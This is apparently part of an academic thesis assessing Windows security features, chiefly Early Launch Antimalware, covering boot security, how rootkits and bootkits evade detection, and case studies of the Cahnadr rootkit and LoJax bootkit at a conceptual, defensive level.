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Glossary 
 
A 
 
advanced persistent threat 
An attack campaign that spans an extended period of time, that targets a specific individual or 
organization, and usually conducted for the purpose of gathering sensitive information. 
 
application programming interface 
An interface, such as a set of functions and protocols, provided to an application for accessing the 
services of a system. 
 
average indirect target reduction 
A control flow metric that measures how much valid targets an indirect control flow transfer may 
take has been eliminated. 
 
C 
 
certification authority 
An organization that issues digital certificates for use in a public key infrastructure. 
 
code-signing certificate 
A digital signature that ensures the integrity of an executable file. It also serves as a digital 
certificate that associates an executable file to its publisher.  
 
D 
 
direct kernel object manipulation 
The process of directly manipulating the memory structures used by Windows for its bookkeeping 
in kernel mode. 
 
driver signature enforcement 
A requirement wherein drivers running on 64-bit Windows need to have a signature verifiable 
using a certificate issued by a certification authority trusted by Microsoft. 
 
E 
 
enhanced/extended key usage 
A tag or label that describes what a code-signing certificate can be used for. 
 
H 
 
hypervisor 
A component for creating and managing virtual machines that resemble physical devices. 
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K 
 
kernel mode 
The privilege mode of a CPU wherein full access to the system is allowed. 
 
M 
 
measured boot 
An approach for securing system startups wherein each component in the boot process measures 
the next component before handling execution over. 
 
model specific registers 
A collection of control registers used by the Intel x86 CPUs for various purposes. 
 
P 
 
persistence mechanism 
The technique used by a malware to gain execution at every system startup. 
 
platform boot verification 
The process wherein a CPU will only load a firmware signed by an immutable public key that 
comes with the hardware. 
 
Portable Executable 
The file format used by Windows executable files. 
 
proof of concept 
A prototype developed for the purpose of proving a claim. 
 
R 
 
registry 
The database used by Windows and its applications for storing their various settings. 
 
registry hive 
A logical group of registry keys and values. 
 
remote attestation 
The process of using a remote server to determine the integrity of a system. 
 
retrovirus 
A type of malware that rely on having admin rights to modify code in memory or kill processes to 
disarm antimalware software. 
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S 
 
Second Level Address Translation 
The process of mapping the physical address visible to a virtual machine to the real physical 
address. The former is also known as the guest physical address while the latter as the system 
physical address. 
 
secure boot 
An approach for securing system startups wherein each component in the boot process only are 
loaded when their signature can be verified. 
 
Supervisor Mode Execution Protection 
A hardware feature that prevents code located in memory addresses allocated by user mode 
processes to be executed in kernel mode. 
 
T 
 
Trusted Boot 
The secure boot implementation of Windows. 
 
Trusted Platform Module 
A hardware for performing secure operations with a high degree of tamper resistance.  
 
U 
 
Unified Extensible Firmware Interface 
A specification that defines the interface between the operating system and the firmware. 
 
use-after-free 
A software bug wherein a memory is being used after it has already been freed. It is one of the 
most successfully exploited class of vulnerability. 
 
user mode 
The non-privilege mode of a CPU. The CPU restricts execution of certain instructions as well as 
access to certain memory region and hardware I/O in this mode. 
 
V 
 
Virtual Secure Mode 
A mode of Windows wherein a hypervisor is used to carve out an addition unit of isolation for 
performing security sensitive operations. 
 
Virtual Trust Level 
The unit of isolation in the Virtual Secure Mode of Windows. 
 
Virtualization Based Security 
A collection of security features that utilize the Virtual Secure Mode of Windows.  



 

 1 

1 Introduction 
 
Microsoft Windows is perceived by many as an unsecure operating system. This reputation may 
have been developed during the early 2000s, when Windows was plagued by numerous 
vulnerabilities and the number of known malware families was increasing at an alarming rate. That 
was the time when access to the Internet was rapidly growing, making it possible for malware to 
infect systems at unprecedented speed. That was also the time when Windows was running on 
majority of the computing devices, making it the main target of cyber-attacks. 
 
Since more malware are being created for Windows, its users have a higher probability of getting 
infected. This has made Windows appear less secure than other operating systems. Aside from 
that, just the number of new malware for Windows being discovered reinforces that image. This is 
regardless whether the malware were able to infect any users or not. This has led to the opinion, 
especially in the uninitiated, that Widows may not be designed with security in mind. The truth 
may quite be the opposite though. Recent Windows releases contain an extensive list of built-in 
security features (Hall et al., 2017). This shows that Microsoft is now designing and implementing 
Windows with security in mind. Although, whether Windows is really secure or not is a completely 
different matter. Security features do not provide value unless they are utilized properly.  
 
The security features provided by Windows falls under a wide range of categories; from those 
designed for protecting end users to those created for developers to harden their products. 
Regardless, it is beneficial for antimalware software vendors to understand all the features 
provided by the OS. Understanding features designed for end users helps the vendors decide what 
new feature to develop. They can avoid developing a redundant feature that Windows is already 
providing and is doing so effectively. On the other hand, understanding features designed for 
developers helps the vendors improve their products. 
 
Moreover, employing these features takes time and resources. Thus, it is also necessary to be able 
to prioritize those that matter. As the threat landscape is continuously evolving, some of the 
features may have been designed for threats that are no longer prevalent. There is also the 
possibility that a feature was poorly designed from the start. Therefore, there is a need to 
understand the motivation in the creation of the features to be able to apply them effectively and 
efficiently. 
 
This thesis will cover three of the features to assess their relevance in the current threat 
landscape. The first two are the Early Launch Antimalware (ELAM) and Protected Processes Light 
(PPL). They were selected because ELAM is a prerequisite for PPL while PPL is required for an 
antimalware software to integrate into Windows (Wood et al., 2018). The third feature is the 
Control Flow Guard. It was selected because it is another exploit mitigation feature. It is important 
to be able to employ as much exploit mitigation features as possible because exploit is one of the 
two main attack vectors, the other being social engineering. 
 
This thesis will reveal why it is important to understand as much of the features as possible by 
showing how some of the features are dependent on other features to be effective. This thesis 
also provides some advice to both end users and software vendors with regards to how the 
selected features would affect them moving forward.  
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2 Background 
 
Before diving into the Windows security features, it is useful to have some understanding of the 
Windows architecture. Moreover, the Early Launch Antimalware complements existing features 
for securing system startups. Hence familiarity about those features are also handy. This chapter 
will provide a brief overview of these topics. 
 

2.1 Windows Architecture 
 
Most modern CPUs provide at least two modes of operations. The first is called the user mode, 
where the CPU restricts execution of certain instructions as well as access to certain memory 
region and hardware I/O. The second is called the kernel mode, where the CPU allows full access 
to the system. Just like in most operating systems, Windows components also run in these two 
modes. User processes run in user mode and can only access their own memory address space. 
Windows itself also has components running in user mode, in the form of system processes. 
Examples of system processes are the services.exe, csrss.exe and lsass.exe processes, which we 
will be encountering in later chapters. Most of the user mode processes avail the services 
provided by Windows using a set of documented Windows APIs exposed by a group of subsystem 
libraries. The subsystem libraries are responsible for translating the service requests into a form 
that is understood by the native Windows functions. Some of these Windows functions may be 
implemented in the ntdll.dll, which are executed in user mode under the context of the requesting 
process. Other requests may be passed on to Windows components running in kernel mode 
through what is called a system service call (Yosifovich et al., 2017: 25, 47-48). 
 
For kernel mode, this is where ntoskrnl.exe is running. Ntoskrnl.exe stands for NT OS kernel and it 
contains the majority of the core Windows operating system functionalities. Among them are 
routines for dispatching the system service calls to their corresponding Windows function in 
kernel mode and routines for scheduling and managing processes and threads. Ntoskrnl.exe is also 
responsible for managing I/O requests to other drivers running in kernel mode. Drivers consist of 
Windows and third-party components that are used to extend the functionality of the operating 
system. Examples of drivers are device drivers that translate I/O requests to a form understood by 
the hardware, as well as file system and network drivers. Unlike in user mode, all components in 
kernel mode share one memory space. This means that any third-party driver that is loaded by 
Windows has to the ability to corrupt any data or code in the system (Yosifovich et al., 2017: 46-
49). 
 
When Hyper-V is enabled, it will also be running in kernel mode. However, it uses specialized CPU 
instructions to isolate itself from the rest of the components in the system (Yosifovich et al., 2017: 
47). Hyper-V is the name of the Windows hypervisor, which is responsible for creating virtual 
machines that resemble physical devices where users can run other instances of Windows. The 
Windows instance that created the virtual machines is called the host OS while the Windows 
instances running on virtual machines are called guest OSes. In the world of Hyper-V, each virtual 
machine runs in a unit of isolation called a partition. The host OS runs in the root partition while 
guest OSes run in child partitions (Ionescu, 2015). 
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Figure 2.1: Windows Architecture 

 
Figure 2.1 is an abridged view of the Windows architecture. In the figure, the Windows Subsystem 
components were illustrated separately, although csrss.exe and win32k.sys are a type of system 
process and driver respectively. They were just highlighted since they will be mentioned in a later 
chapter. 
 
Windows components stored in the file system, such as EXEs, DLLs, and SYSs (drivers), use a file 
format called Portable Executable (PE). A PE consists of a series of headers that describe how 
Windows should load the component. The headers are then followed by a series of sections, 
which contain the actual code and data (PE Format, 2018). Finally, some PEs may also have an 
overlay, which is used for storing additional data. Unlike sections, an overlay is not described by 
any of the section headers. 
 
An example of what can be found in an overlay is the code-signing certificate of the PE file. A code-
signing certificate consists of an encrypted hash of the file, the public key of the signer, 
information about the signer (Hudek, 2017b; Hudek, 2017c), and any Enhanced Key Usage 
information of the certificate. A code-signing certificate serves as a digital signature of a file 
because the public key can be used to decrypt the hash, which in turn can be used to verify the 
integrity of the file. Only the signer has the private key; thus, only the singer will be able to 
produce the encrypted hash that can be decrypted using the public key. Given what was 
mentioned, it can be guaranteed to a high degree that the file originated from the signer. For the 
Enhanced Key Usage information, they serve like tags, each describing what a code-signing 
certificate can be used for. 
 
Figure 2.2 is a rough illustration of how a PE looks like. The Security and Load Config and data 
directories were highlighted in the illustration as they contain the code-signing certificate of the 
PE and information used by Control Flow Guard respectively. 
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Figure 2.2: Portable Executable Format 

 
Finally, Windows operating system and their applications store their settings in a database called a 
registry. The registry consists of a collection of keys, each containing a set of values. The registry is 
accessed in a way similar to how files are accessed in a file system. As an analogy, the key and 
value in the registry correspond to the file path and filename in a file system respectively. A logical 
group of registry keys and values is called a registry hive. 
 

2.2 Features for Securing System Startups 
 
During the advent of 64-bit systems, the Unified Extensible Firmware Interface (UEFI) specification 
was developed to replace the existing firmware interface at that time, which was designed for 16-
bit systems. The UEFI specification includes a protocol known as secure boot, which defines that a 
compliant firmware should only load and execute an OS loader with a digital signature that is 
verifiable using a public key found in the whitelist database of the firmware. This mechanism was 
further improved by modern CPUs by introducing platform boot verification features. CPUs with 
such feature will only load a firmware with a digital signature that is verifiable using an immutable 
public key that comes with the hardware (Zimmer and Krau, 2016). Examples of such features are 
the Intel Boot Guard and AMD Hardware Validated Boot. 
 
Another approach for securing a system startup was defined by the Trusted Computing Group 
(TCG). In their approach, each component in the boot process measures the next component 
before handling execution over. For example, the firmware computes the hash of itself and the OS 
loader before handling execution to the OS loader. The OS loader then computes the hash of the 
OS kernel before handling execution to the OS kernel. This approach is often referred to as a 
measured boot because the hashes of the different components are concatenated together 
(Bichsel et al., 2017) to form a measurement of the boot process. Unlike in secure boot, a 
compromised system will be allowed to load in measured boot. Hence, to prevent attackers from 
corrupting the measurement, the latter has to be stored in a Trusted Platform Module (TPM). 
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A TPM is a hardware for performing secure operations with a high degree of tamper resistance. In 
the context of measured boot, a TPM is used for two operations. First is for storing the 
measurement of the boot process. A TPM only allows an existing measurement to be extended 
(Bichsel et al., 2017), effectively preventing succeeding compromised components from faking 
their own measurements. The second operation is for signing the measurement using a public key 
provided by a remote attestation server (Securing the Windows 8 Boot Process, n.d.). A remote 
attestation server determines the integrity of a system based on the latter’s measurement. The 
system itself will be responsible for transmitting its own measurement to the remote server. 
Therefore, the TPM has to sign the measurement using the public key of the remote server to 
guarantee that a measurement was not tampered by a compromised system before the 
transmission. Similarly, an attestation has to be performed remotely because nothing can prevent 
a compromised system from faking its own integrity. 
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3 Problem Statement 
 
Microsoft is continuously hardening Windows based on the lessons they are learning from facing 
new attacks every day resulting to new security features being introduced in every new Windows 
release. It is beneficial for antimalware software vendors to understand all the features and to be 
able to utilize them to provide value to their users. Unfortunately, these vendors will most likely 
have users that are still using Windows XP, which do not support several of the features. 
Therefore, they most likely may have only allocated resources to study features that are applicable 
to all their users and not those that were introduced after Windows XP. However, the list will 
continue to grow as Microsoft releases new Windows versions. By the time they are ready to 
adopt the features, assessing the features all at once may be too expensive. 
 
Given what was mentioned, there is a need to gradually start assessing the features now. This 
thesis will cover three features. The first two are the Early Launch Antimalware (ELAM) and 
Protected Processes Light (PPL). They were selected because ELAM is a prerequisite for PPL while 
PPL is required for an antimalware software to integrate into Windows (Wood et al., 2018). The 
third feature is the Control Flow Guard. It was selected because it is another exploit mitigation 
feature. It is important to be able to employ as much exploit mitigation features as possible 
because exploit is one of the two main attack vectors, the other being social engineering. 
 
To assess the value of the features, there are some research questions that need to be answered 
by the thesis. First is what the features are about. The thesis must explain the internal workings of 
the features as this is needed to be able to answer the succeeding questions. Second is why the 
features were introduced. The thesis must give examples of threats each feature is designed to 
counter. The thesis must also explain how each of the threat works to justify that the threat is 
indeed the thing a feature is designed to counter based on the findings from the first research 
question. Third is how effective were the features. The thesis must provide some case studies on 
how each feature performed against real examples of the type of attack a feature was designed to 
counter. Fourth is how would attackers change their tactics to counter the features. If the findings 
from the previous research question determined that a feature is effective, then the thesis must 
speculate how attackers will adapt. The thesis must also develop a proof of concept to back its 
claim. The goal should not be to find how to exploit an implementation bug in a feature, which 
may get fixed, but to find realistic alternative that attackers may readily adopt. Finally, the thesis 
must answer what are the consequences of the features. Here, the thesis must discuss how 
applicable is it for end users and developers alike to adopt the features, what will be the potential 
issues they will be facing, and what are the next steps that they should be taking, if any. 
 
To answer these questions, the research will first study publicly available information to 
understand what the features are about and to identify the threats they are designed to counter. 
The sources have to be reproducible to confirm their reliability. The research will then proceed to 
study publicly available information about the identified threats and test them against the 
features. Once there is a clear understanding of the features and the threats, the research will 
start exploring how attackers will adapt to the new defenses.  
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4 Early Launch Antimalware 
 
Early Launch Antimalware (ELAM) is a feature introduced in Windows 8 and Windows Server 2012 
that allows antimalware software to protect the system during early phases of Windows startup 
(Hudek et al., 2017b). Specifically, ELAM is a driver that is initialized by Windows before any other 
drivers. The ELAM driver then monitors subsequent driver initializations and provides Windows a 
classification for each of the driver. The classification may be: 
BdCbClassificationUnknownImage, BdCbClassificationKnownGoodImage, 
BdCbClassificationKnownBadImage or 
BdCbClassificationKnownBadImageBootCritical. Windows then decides whether 
to load a driver or not based on the Group Policy (BDCB_CLASSIFICATION Enumeration, 2018). 
 
In this context, drivers are only referring to those that are initialized at system boot. These drivers 
are initialized so early during Windows startup that the main antimalware software component is 
not yet running and is not able to prevent the drivers from loading. 
 

4.1 Under the Hood 
 
An ELAM driver must register a boot driver callback during its initialization. A boot driver callback 
is a function used by Windows to communicate events to an ELAM driver, for example when 
Windows has initialized all the boot-start drivers. This way, an ELAM driver knows when it has to 
start its cleanup routine and prepare to be unloaded (_BDCB_STATUS_UPDATE_TYPE 
enumeration, 2018). 
 
The boot driver callback is also used by Windows to determine the classification of a driver being 
initialized (Hudek et al., 2017c). Windows uses this callback to provide information (Table 4.1) 
about the driver being initialized to the ELAM driver (_BDCB_IMAGE_INFORMATION structure, 
2018). 
 

Whether the driver has passed code integrity / whether the driver has been tampered 

The filename of the driver's binary file 

The path in the registry where the driver is registered 

The publisher of the driver found in the certificate of the driver 

The issuer of the driver's certificate 

The Authenticode hash of the driver and the corresponding hash algorithm 

The hash of the driver's certificate and the corresponding hash algorithm 

Table 4.1: Driver Information Available to ELAM 
 
An ELAM driver is limited to the information listed in Table 4.1 when making a classification. This is 
because an ELAM driver is initialized before any other drivers, including the file system driver 
(Hudek et al., 2017c). Therefore, an ELAM component is unable to perform a file scan itself to 
collect more information unless it implements its own file system driver. The ELAM component is 
also unable to correlate available information from other sources, like from a cloud service, unless 
the ELAM component implements its own network driver. This means that it is very difficult for an 
ELAM component to use heuristic detections to protect against polymorphic malware because 
ELAM drivers have to rely on a signature database (Sosnowski, 2016). 
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In addition to a boot driver callback, an ELAM driver may also register a registry callback (Hudek et 
al., 2017c). A registry callback is used by Windows to determine whether an access to a 
configuration data should be granted or not. If the goal of a boot driver callback is to prevent a 
malicious driver from getting initialized, the goal of a registry callback is to prevent a clean driver 
from loading a malicious configuration. Table 4.2 summarizes the difference between the two 
callbacks. 
 

Callback Purpose 

Boot Driver Callbacks Prevent system from loading malicious drivers 

Registry Callbacks Prevent clean drivers from loading malicious configurations 

Table 4.2: Callbacks Available to ELAM 
 
In theory, a registry callback may also be used by ELAM to monitor behavior of an unknown driver 
to come up with a classification. The problem however is that a driver has to be allowed to 
initialize and there is no generic way to completely unload a driver. This is because drivers run in 
kernel mode and can make any changes in the system, which has to be tracked and reversed if to 
be completely unloaded. 
 
Nevertheless, there is still potential value in implementing such behavior monitoring in ELAM. An 
antimalware software may opt to simply inform its users that their system is compromised but 
was not prevented. Such notification would still enable users to make informed decisions like 
initiating incident response procedures. 
 

4.2 Signature Database 
 
An ELAM component of an antimalware software needs to have its own signature database. It 
cannot use the signature database of the main component because the ELAM component has no 
access to the file system yet. The signatures are stored in the ELAM registry hive under 
HKEY_LOCAL_MACHINE (Figure 4.1). This hive is loaded by Windows during system boot and is 
unloaded after its use by ELAM for performance. A registry hive is a logical group of registry keys 
and values. 
 

 
Figure 4.1: ELAM Signature Database 



 

 9 

 
According to Microsoft documentation (Hudek et al., 2017c), each ELAM driver has a unique key 
under the hive. However, the documentation did not mention what is the recommended method 
to obtain the data nor did Microsoft provide an example usage in their sample code (Early Launch 
Anti-Malware Driver, n.d.). It seemed that the data is to be obtained via standard registry APIs 
available in the Windows Driver Kit (wdm.h header, 2018). In our test, we used the ZwOpenKey 
Windows API and it worked. Since the API required the full registry path as parameter, we can 
safely assume that complying with the mentioned registry hive structure is more of a convention 
rather than a specification. It seems that ELAM is able to use any registry key as long as it is under 
a hive that has already been loaded by Windows during that phase. 
 
The advantage of complying with the mentioned registry hive structure is that three of its registry 
values are measured by Windows as part of Measured Boot. These registry values are Measured, 
Policy and Config. Since verifying the integrity of the signature database is left to the antimalware 
software (Hudek et al., 2017c), utilizing a system’s Measured Boot functionality means that an 
antimalware software does not need to implement additional integrity checks if it already has a 
remote attestation component. Nonetheless, it is still preferable for ELAM to perform the integrity 
check itself during system boot rather than relying on a system’s Measured Boot functionality. 
This way, an antimalware software is able to inform the OS earlier upon compromise rather than 
waiting for the system to be fully loaded. 
 
The risks for not following the documented registry hive structure are many: for example, the 
ELAM component would lose access to its signature database should Microsoft decide to not load 
the undocumented registry hive in the future. 
 
Aside from having to ensure the integrity of the signature database on their own, it is also up to 
the antimalware software to decide on the implementation. The registry hive simply serves as a 
non-volatile storage for an ELAM driver while the file system is still not accessible. An antimalware 
software may decide to use the registry hive to keep a whitelist or blacklist of drivers based on the 
type of information listed in Table 4.1. However, Microsoft recommends implementing at least a 
whitelist of driver hashes (Hudek et al., 2017c). 
 

4.3 Digital Signature Requirements 
 
To prevent the abuse of this powerful mechanism, Microsoft restricts usage of ELAM drivers. In 
practice, an ELAM driver has to be signed by Microsoft with a code-signing certificate that contains 
the Enhanced Key Usage (EKU) of Early Launch Antimalware Driver (Figure 4.2). 
 
Microsoft will only sign ELAM drivers from active participants of the antimalware community with 
positive industry reputation. To ensure this, participants have to be members of the Microsoft 
Virus Initiative (MVI) or pre-approved members of Virus Information Alliance (VIA) (Hudek et al., 
2017a). VIA is an association of security, testing, and other cybercrime fighting organizations 
created by Microsoft for collaborating and exchanging information about malware ‘with the goal 
of improving protection for Microsoft customers’ (Levinet et al., 2018a). MVI is similar to VIA but it 
focuses on helping its members to better ‘protect its customers’ (Levinet et al., 2018b). 
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Figure 4.2: Certificate with EKU of Early Launch Antimalware Driver 

 

4.4 Rootkits and Drivers 
 
As discussed, ELAM was designed to help antimalware software protect against a very specific 
threat, namely a malicious driver. One may argue that antimalware software can simply detect the 
driver file in the system. Unfortunately, there is a class of malware called rootkits that are not as 
straightforward to detect. This section explains why and how they are related to a driver. 
 
Hoglund and Butler (2005: 4) defined the term ‘rootkit’ as ‘a set of programs and code that allows 
a permanent or consistent, undetectable presence on a computer’. Rootkits are designed to be 
undetectable, including by antimalware software, when running. This means that the only reliable 
time to scan for a rootkit is before a rootkit is running, hence the creation of ELAM. 
 
Generally speaking, there are two ways for rootkit to achieve undetectability. The first approach is 
to alter the execution path of the operating system. Windows provides a well-documented set of 
APIs that allows programs to perform operations in the operating system (Hoglund and Butler, 
2005: 71-73). The execution path for such operation goes through several portions of Windows’ 
code, some of which are executed in user mode, while others in kernel mode (Figure 4.3). Given 
the necessary permission, for example when running as admin, a rootkit may insert its code into 
the flow by altering some intermediate Windows user mode code residing in memory as 
illustrated in Figure 4.4. Once inserted, the rootkit’s code may be able to control the result of an 
operation, e.g. hiding the presence of files or processes. 
 
A rootkit may also inject its code in the kernel space but that would require them being able to 
execute code in kernel mode (Figure 4.5). We will explain why the latter would be the preferable 
option for a rootkit in the succeeding section. 
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Figure 4.3: Execution Flow of a Windows Operation 

 

 
Figure 4.4: Execution Flow with Injected User Mode Code 

 

 
Figure 4.5: Execution Flow with Injected Kernel Mode Code 

 
The second approach to achieve undetectability is to directly manipulate information used by 
Windows for its bookkeeping and reporting. For example, a rootkit may remove the entry of the 
process it wanted to conceal from the process list maintained by Windows in kernel mode. This 
approach is called direct kernel object manipulation (DKOM) (Hoglund and Butler, 2005: 169-170). 
Again, this would require that the rootkit is able to execute code in kernel mode unless it is 
running in a Windows with version older than Windows XP SP2 or Windows Server 2003 SP1 
(Device\PhysicalMemory Object, 2006). 
 
There are only a limited number of ways to execute code in kernel mode (Hoglund and Butler, 
2005: 11). One involves exploiting bugs in Windows but the word ‘bugs’ implies that it is 
unintended and will be corrected. Another is through undocumented Windows features to add 
entries to the Global Descriptor Table (Kasslin, 2006) but this approach does not work on 64-bit 
Windows due to PatchGuard (Yosifovich et al., 2017: 766). This leave drivers as the only 
guaranteed way to execute code in kernel mode. In fact, it is the only documented way (Kasslin, 
2006). 
 

4.5 Detecting Rootkits 
 
There are several ways to detect rootkits. Hoglund and Butler (2005) spent the entire last chapter 
of their book discussing this. Most of the techniques are based on understanding the different 
implementations of code insertion in an execution flow and checking for their existence. The 
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problem with such techniques is that they are not generic. One needs to have encountered them 
to know what to check. It is homologous to adding a malware signature after encountering the 
malware sample. Therefore, for our ELAM discussion, we are only interested with the more 
generic technique, which is ‘to catch the operating system in a “lie.”’ It follows the same model as 
the approach discussed in a related research by Kasslin et al. (2005). 
 
The approach relies on the idea of building two lists of objects that an antimalware software 
wants to detect. The first is the tainted list, which contains objects enumerated using the APIs 
provided by Windows. Second is to build a trusted list by obtaining the information at the source 
or as close to the source as possible. This can be summarized in the next figure. 
 

 
Figure 4.6: Challenge in Building a Trusted List 

 
Figure 4.6 shows that an antimalware software successfully bypassed the code inserted by rootkit-
a. Rootkit-b however, would still be able to conceal itself because the antimalware software failed 
to obtain the information close enough from the source. 
 
Once we have both lists, finding rootkits is as simple as comparing them. Any objects that appear 
in the trusted list but not in the tainted list imply that they are being concealed by a rootkit. 
 

4.6 Arms Race 
 
As with any measure-counter measure arms race, rootkits were forced to adapt and started 
unhiding themselves to antimalware software. From the point of view of the antimalware 
software, there is no difference between the tainted and the trusted list, hence no hidden objects. 
Rootkits already keep a whitelist to prevent concealing themselves from their other components. 
All they need to do is add the antimalware software to the list (Kasslin et al., 2005). 
 
An easy workaround for antimalware software is to simply randomize their name before building 
the tainted list (Ståhlberg, 2005). Nevertheless, it has become a situation wherein ‘developers of 
rootkit detectors adding detection of latest rootkits to their scanning engines - and developers of 
rootkits adding detection of latest detectors to their scanning engines’ (Hyppönen, 2005). 
 
Another challenge is that it is not always possible to obtain information at the source. In the case 
of DKOM, the source itself has already been manipulated. One way to work around this is to use a 
sensor that maintain a list of objects that are being created and deleted. However, this would 
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require that the sensor is already in place before any objects have been created (Kasslin et al., 
2005). 
 
In both scenarios, it is apparent that whoever was able to load first has the upper hand. Rootkits 
can behave inconspicuously against antimalware software or manipulate the source once they 
have been loaded. This is most likely the reason why Microsoft has designed ELAM to be loaded 
first and granted it the capability to prevent other drivers from being initialized. 
 

4.7 Bootkits and Other Limitations 
 
In the pursuit to be the first to load, rootkits have resorted to extreme methods, to the extent of 
subverting the boot process of the operating system. This has led to the emergence of an entirely 
new class of malware called bootkits. 
 
Unlike rootkit, bootkits insert its code to the boot process of the operating system instead of the 
execution flow used by Windows APIs. The purpose is to gain control as early as possible during 
the system startup, as opposed to concealing their components. That is not to say that bootkits 
are not designed to conceal their components, but rather, it is unnecessary since they live outside 
the operating system. Bootkits store their components in portions of the disk unused by the 
operating system, hence does not exist in the point of view of the operating system (Rodionov et 
al., 2014). 
 
Bootkits overwrite or modify the boot loader code or firmware of the system so that they will be 
the first to be executed during system startup. Bootkits keep a copy of the original code they 
replaced so that they can use it to load the system. At the next startup, bootkits will load the 
original code, modify them at runtime in such a way that the bootkit will regain control after the 
system has completed startup, then pass the execution to the modified code (Rodionov et al., 
2014). 
 
Unfortunately, the arms race between attackers and defenders have forced rootkits to evolve into 
bootkits years before the introduction of ELAM. The first bootkit for Windows was already found 
in the wild during 2007 (Rodionov et al., 2014). ELAM was also designed to only protect against 
malicious drivers but the nature of bootkits has made it unnecessary to use driver for running 
code in kernel mode. It is also within the power of bootkits to disable ELAM if ever they chose to 
use a driver since they already have control. 
 
Another thing to consider is that rootkits and bootkits require admin rights to infect a system. This 
means that any attacker who has the right to infect a system with a rootkit or bootkit would also 
have the necessary rights to disable ELAM. Specifically, an attacker simply needs to delete the 
service registry of the ELAM driver (Figure 4.7). 
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Figure 4.7: ELAM Service Registry 

 

4.8 Complimentary Feature 
 
Given what have been discussed, one may think that the ELAM feature is a failure. However, it was 
never intended to be a complete solution against rootkits and bootkits. Instead, ELAM was 
designed to work in conjunction with the UEFI Secure Boot and Trusted Boot of Windows, or 
alternatively, with Measured Boot to secure the boot process until an antimalware software is 
ready to take over the protection of the system (Securing the Windows 8 Boot Process, n.d.). In 
addition to these, Microsoft also recommends hardware manufactures for Windows 10 to include 
platform boot verification features such as Intel Boot Guard or AMD Hardware Validated Boot 
(Standards for a highly secure Windows 10 device, 2018). The idea is to build a ‘chain of trust’ 
starting from a root that is immutable. 
 
At bootup, the hardware with platform boot verification features verify the digital signature of the 
firmware using an immutable public key that comes with the hardware. The firmware is only 
loaded if its integrity can be confirmed. The firmware with UEFI Secure Boot then ensures the 
integrity of the bootloader and other system dependencies before handling execution over. In our 
case, the firmware verifies that the code are signed by Microsoft. Hardware certified to run 
Windows 8 and newer are required to have UEFI Secure Boot enabled and trust Microsoft 
certificate by default (Securing the Windows 8 Boot Process, n.d.). 
 
Once the Windows bootloader takes over, it performs a similar integrity verification for 
ntoskrnl.exe before handling the execution over. The ntoskrnl.exe, in turn, ‘verifies every other 
component of the Windows startup process, including the boot drivers, startup files, and ELAM’. 
These verifications performed by Windows are collectively called the Trusted Boot (Securing the 
Windows 8 Boot Process, n.d.). 
 
Finally, ELAM ensures that no malicious third-party drivers, that may potentially be a rootkit, are 
initialized before an antimalware software has completely loaded. Once the antimalware software 
is running, it will be responsible for protecting its own components, including the service registry 
of its ELAM driver. 
 

 
Figure 4.8: ELAM as a Complimentary Feature 
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Alternatively, a measured boot approach may be taken. Here, a measurement of the boot process 
is used to detect any rootkits or bootkits that have been loaded before an antimalware software. 
In terms of ELAM working under measured boot, the ELAM driver may alter the measurement in 
the Trusted Platform Module (TPM) instead of preventing a malicious driver from initializing 
(Secured Boot and Measured Boot: Hardening Early Boot Components Against Malware, 2012). 
 

4.9 Driver Signature Enforcement 
 
Ideally, we would like to review the statistics on new rootkits and bootkits discovered over the 
years to see if there is a drop after the introduction of ELAM but such statistics are no longer as 
common as in the past (Kasslin, 2006; Rootkits, Part 1 of 3: The Growing Threat, 2006). It is 
possible that the number of new rootkits and bootkits have drop to a level that is no longer 
newsworthy, hence validating the introduction of ELAM and those features for securing system 
startups. 
 
However, we have to consider that Microsoft has also introduced driver signature enforcement 
(DSE) starting Windows Vista and Windows Server 2008, which required drivers running on 64-bit 
Windows to have a signature verifiable using a certificate issued by a certification authority 
trusted by Microsoft (Digital Signatures for Kernel Modules on Systems Running Windows Vista, 
2007). Rather than ELAM, it is more likely that DSE was the feature that reduced the number of 
rootkits in recent years. Based on the survey conducted by Steam, the share of 64-bit Windows 
systems have grown to over 94% (2018) as of this writing from just around 67% (2012) when ELAM 
was first introduced. Most malicious drivers simply cannot run on 64-bit Windows, regardless 
whether ELAM is present, because they are unlikely to be signed. One of the core functionalities of 
a digital signature is to provide an identity to the publisher of a software (Hudek, 2017a). 
Naturally, a malware author would not want to be identified. Combined with the growing 
adoption of 64-bit systems, developing rootkits has become much more cumbersome.  
 
Take note that ELAM is also present on 64-bit machines even when the latter already have DSE. 
This is because there is still the possibility that a malicious driver can be signed. DSE will not be 
able to prevent such driver from loading at system startup. Therefore, to validate the design of 
ELAM in the premise that Windows never introduced DSE, we thought examining performance of 
ELAM against the most recent rootkit and bootkit would be a rational approach.  
 

4.10 Case Study: Cahnadr Rootkit 
 
Cahnadr is a rootkit that was used in The Slingshot APT (2018) campaign. The rootkit maintains 
persistence on a system by hijacking the scesrv.dll library, which is a dependency of the 
services.exe process of Windows that is loaded at every system startup (Figure 4.9). The rootkit 
first creates a copy of the original scesrv.dll then overwrites the scesrv.dll in the file system with a 
loader component. Upon loading, the hijacked scesrv.dll will load the main kernel mode 
component and hand execution to the original routine of scesrv.dll to allow a system to continue 
its startup. To execute its kernel mode code on 32-bit systems where DSE does not apply, the 
malware simply uses a driver. On 64-bit systems however, it exploits vulnerabilities in multiple 
third-party drivers to execute its code. It does not matter if a target system does not have those 
drivers because the malware will install them itself (Figure 4.10). Once the kernel mode code is 
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active, the malware returns the original copy of the hijacked Windows library when being 
scanned, effectively hiding itself from antimalware software. 
 

 
Figure 4.9: Cahnadr Persistence Mechanism 

 

 
Figure 4.10: Cahnadr Loader Depending on the Infection Type 

 
In this example, a system does not benefit from ELAM, nor from those features for securing 
system startups. Although the kernel mode code of Cahnadr is loaded via a driver, both in 32-bit 
and 64-bit systems, the drivers were initialized at a very late phase of the Windows startup. At 
that point, ELAM is no longer active. It can be argued that at this phase, the rootkit is not yet 
active and can be caught by a boot time scanner of an antimalware software. In practice, this is 
seldomly done because boot time scanner has to be at least partly implemented in kernel mode 
since the user mode components will not yet be active at this phase. Running in kernel mode 
means higher privilege, but we want to run a scanner with the lowest privilege as possible for 
security reasons (Marinescu and Avena, 2018). 
 

4.11 Case Study: LoJax Bootkit 
 
LoJax is a bootkit used in the Sednit APT campaign (LOJAX // First UEFI rootkit found in the wild, 
courtesy of the Sednit group, 2018). The bootkit uses legitimate third-party tools to modify the 
firmware of a system to maintain persistence. The modified firmware will load a UEFI module at 
startup that grant access the file system and the registry hive, which it uses to install a loader 
component to the system before handling execution over the to the bootloader of Windows. This 
component then loads the payload of the bootkit and remove traces of itself once Windows has 
started up. In the Sednit APT campaign, the payload is just a small binary that communicate with a 
remote server that does not employ any stealth mechanism. 
 
